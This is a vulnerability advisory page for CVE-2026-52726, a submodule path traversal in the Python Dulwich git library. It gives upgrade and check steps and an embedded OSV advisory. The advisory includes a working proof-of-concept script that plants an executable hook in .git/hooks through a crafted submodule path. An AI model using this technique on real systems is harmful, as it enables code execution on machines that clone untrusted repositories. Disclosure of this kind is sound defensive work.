CVE-2026-52726: Dulwich Remote Code Execution Vulnerability
HIGHCVE-2026-52726 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Dulwich libraries in the PyPI ecosystem. The issue involves dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=true) yields rce via attacker-dropped .git/hooks payload. Remediation is available by upgrading affected packages to version 1.2.5.
CVE-2026-52726 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-52726
To remediate this vulnerability, upgrade all affected Dulwich dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install dulwich>=1.2.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show dulwich
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-52726, inspect your installed packages using pip:
pip show dulwich
Analyze the terminal output to locate any version of Dulwich in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.5), your application is affected.
Note: The pip show dulwich command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Dulwich, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-52726 Affected Dulwich Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dulwich
|
PyPI |
≥ 0.23.2
< 1.2.5
|
1.2.5
|
References
Frequently Asked Questions
What is CVE-2026-52726?
Which Dulwich versions are affected?
What version fixes CVE-2026-52726?
Is dulwich affected?
What is the CVSS score of CVE-2026-52726?
What CWE is associated with CVE-2026-52726?
How can I check PyPI dependencies for CVE-2026-52726?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gfhv-vqv2-4544",
"modified" : "2026-07-02T17:50:01Z",
"published" : "2026-07-02T17:50:00Z",
"aliases" : [ "CVE-2026-52726" ],
"summary" : "Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload",
"details" : "### Summary\n\n`dulwich.porcelain.submodule_update`, and by extension `porcelain.clone(..., recurse_submodules=True)`, materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious `.gitmodules` plus a matching tree gitlink whose `path` is `.git/hooks` (or any other directory inside the parent repository's `.git` directory) causes the attacker's submodule tree contents to be written directly into the victim's `.git/hooks/` directory, preserving executable mode bits. The dropped executables are then run by any subsequent `git` or `dulwich` command that invokes the matching hook, resulting in arbitrary code execution.\n\nThis is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.\n\n### Affected\n\n- **Package:** `dulwich` (PyPI)\n- **Affected versions:** `>=0.23.2, <1.2.5`\n- **Affected platforms:** all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal `.git/hooks` rather than a case- or short-name-aliased form.\n\nAffected entry points:\n- `dulwich.porcelain.submodule_update(repo, init=True, recursive=True)`\n- `dulwich.porcelain.clone(source, target, recurse_submodules=True)`\n- `dulwich submodule update` CLI / `dulwich clone --recurse-submodules` CLI\n\n### Vulnerable code\n\nThe submodule path from the tree's gitlink entry (and matching `.gitmodules`) is consumed without validation in [`dulwich/porcelain/submodule.py`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L234).\n\nThe attacker-controlled `path` enters the loop from `iter_cached_submodules` ([`submodule.py#L154-L168`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L168)):\n\n```python\nfor path, target_sha in submodules_to_update:\n path_str = (\n path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path\n )\n\n submodule_name: bytes | None = None\n for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):\n if sm_path == path:\n submodule_name = sm_name\n break\n\n if not submodule_name:\n continue\n```\n\nIt flows unchecked into `os.path.join` and the filesystem ([`submodule.py#L187-L188`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L187-L188)):\n\n```python\n submodule_path = os.path.join(r.path, path_str)\n submodule_git_dir = os.path.join(r.controldir(), \"modules\", path_str)\n```\n\nFinally, the attacker tree's contents are materialized into that directory via `build_index_from_tree` with no `validate_path_element` argument, defaulting to the lax validator ([`submodule.py#L229-L234`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L229-L234)):\n\n```python\n build_index_from_tree(\n submodule_path,\n sub_repo.index_path(),\n sub_repo.object_store,\n tree_id,\n )\n```\n\nThree issues compound:\n\n1. `path_str` originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against `.git`, `..`, or other path-traversal patterns. The same value is read from the attacker-supplied `.gitmodules` blob via [`read_submodules`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/config.py#L1637-L1665), which also performs no validation.\n2. `submodule_path = os.path.join(r.path, path_str)` therefore resolves to an attacker-chosen directory anywhere on disk (e.g. `<worktree>/.git/hooks`).\n3. [`build_index_from_tree`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/index.py#L2034-L2044) is called without `validate_path_element`, so it defaults to `validate_path_element_default`, which only rejects literal `.git`, `.`, and `..`. It does not refuse a `root_path` that is itself inside the parent's `.git` directory, and it honors the attacker tree's file modes including executable bits (`0o100755`).\n\n### Reachability\n\nA direct production call path from a user invocation: `porcelain.clone(source, target, recurse_submodules=True)` at [`dulwich/porcelain/__init__.py:1548-1551`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/__init__.py#L1548-L1551) calls `submodule_update(repo, init=True, recursive=True)` once the parent clone completes, reaching the unsanitized loop at [`submodule.py#L154-L234`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L234).\n\nThe CLI command `dulwich clone --recurse-submodules <url>` reaches the same sink via [`dulwich/cli.py:2131`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/cli.py#L2131).\n\nAny service that exposes `porcelain.clone(..., recurse_submodules=True)` on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server \"fetch dependency from git\" features.\n\n### Proof of concept\n\nEnd-to-end against pip-installed `dulwich==1.2.4`, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs `git`. The payload writes a marker file rather than performing any destructive action.\n\n```python\nimport os, tempfile, subprocess\nimport dulwich.repo as r\nimport dulwich.porcelain as p\nfrom dulwich.objects import Blob, Commit, Tree\n\nWORKDIR = tempfile.mkdtemp(prefix=\"dulwich-poc-\")\nATTACKER = os.path.join(WORKDIR, \"att.git\")\nVICTIM_PARENT = os.path.join(WORKDIR, \"vic_parent.git\")\nVICTIM_WT = os.path.join(WORKDIR, \"vic_wt\")\nMARKER = os.path.join(WORKDIR, \"marker\")\n\n# Attacker submodule contains a single file named \"post-checkout\"\n# with mode 0755 and a benign shell payload that writes a marker file.\nattacker = r.Repo.init_bare(ATTACKER, mkdir=True)\npayload = b\"#!/bin/sh\\necho executed > \" + MARKER.encode() + b\"\\n\"\npb = Blob.from_string(payload)\nattacker.object_store.add_object(pb)\nat = Tree()\nat.add(b\"post-checkout\", 0o100755, pb.id)\nattacker.object_store.add_object(at)\nac = Commit()\nac.tree = at.id\nac.author = ac.committer = b\"a <a@a>\"\nac.author_time = ac.commit_time = 0\nac.author_timezone = ac.commit_timezone = 0\nac.message = b\"x\"\nattacker.object_store.add_object(ac)\nattacker.refs[b\"refs/heads/master\"] = ac.id\nattacker.refs.set_symbolic_ref(b\"HEAD\", b\"refs/heads/master\")\n\n# Victim parent has a .gitmodules and a tree gitlink, both pointing at\n# path \".git/hooks\". The gitlink targets the attacker submodule commit.\nvictim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)\ngitmod = (\n b'[submodule \"evil\"]\\n'\n b'\\tpath = .git/hooks\\n'\n b'\\turl = ' + ATTACKER.encode() + b'\\n'\n)\ngmb = Blob.from_string(gitmod)\nvictim.object_store.add_object(gmb)\nvt = Tree()\nvt.add(b\".gitmodules\", 0o100644, gmb.id)\nvt.add(b\".git/hooks\", 0o160000, ac.id)\nvictim.object_store.add_object(vt)\nvc = Commit()\nvc.tree = vt.id\nvc.author = vc.committer = b\"a <a@a>\"\nvc.author_time = vc.commit_time = 0\nvc.author_timezone = vc.commit_timezone = 0\nvc.message = b\"v\"\nvictim.object_store.add_object(vc)\nvictim.refs[b\"refs/heads/master\"] = vc.id\nvictim.refs.set_symbolic_ref(b\"HEAD\", b\"refs/heads/master\")\n\n# Single victim call: clone with recurse_submodules=True\np.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)\n\nhook = os.path.join(VICTIM_WT, \".git\", \"hooks\", \"post-checkout\")\nassert os.path.exists(hook), \"hook was not written\"\nassert os.stat(hook).st_mode & 0o111, \"hook is not executable\"\n\n# git running in the victim worktree then executes the dropped hook\nsubprocess.run([\"git\", \"-C\", VICTIM_WT, \"checkout\", \"master\"], check=True,\n capture_output=True)\nassert os.path.exists(MARKER), \"hook did not fire\"\nprint(\"Code execution confirmed:\", open(MARKER).read().strip())\n```\n\nThe trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (`post-checkout`, `pre-commit`, `post-merge`, `post-rewrite`, `post-applypatch`, and others). dulwich itself executes several hooks (`pre-commit`, `commit-msg`, `post-commit`, `pre-receive`, `update`, `post-receive`; see `dulwich/hooks.py` and `dulwich/repo.py`), so a victim using only dulwich is also reachable without upstream Git.\n\n### Credit\n\ntonghuaroot",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "dulwich"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.23.2"
}, {
"fixed" : "1.2.5"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/jelmer/dulwich/security/advisories/GHSA-gfhv-vqv2-4544"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-52726"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/jelmer/dulwich"
}, {
"type" : "WEB",
"url" : "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-02T17:50:00Z",
"nvd_published_at" : "2026-06-10T23:16:50Z"
}
}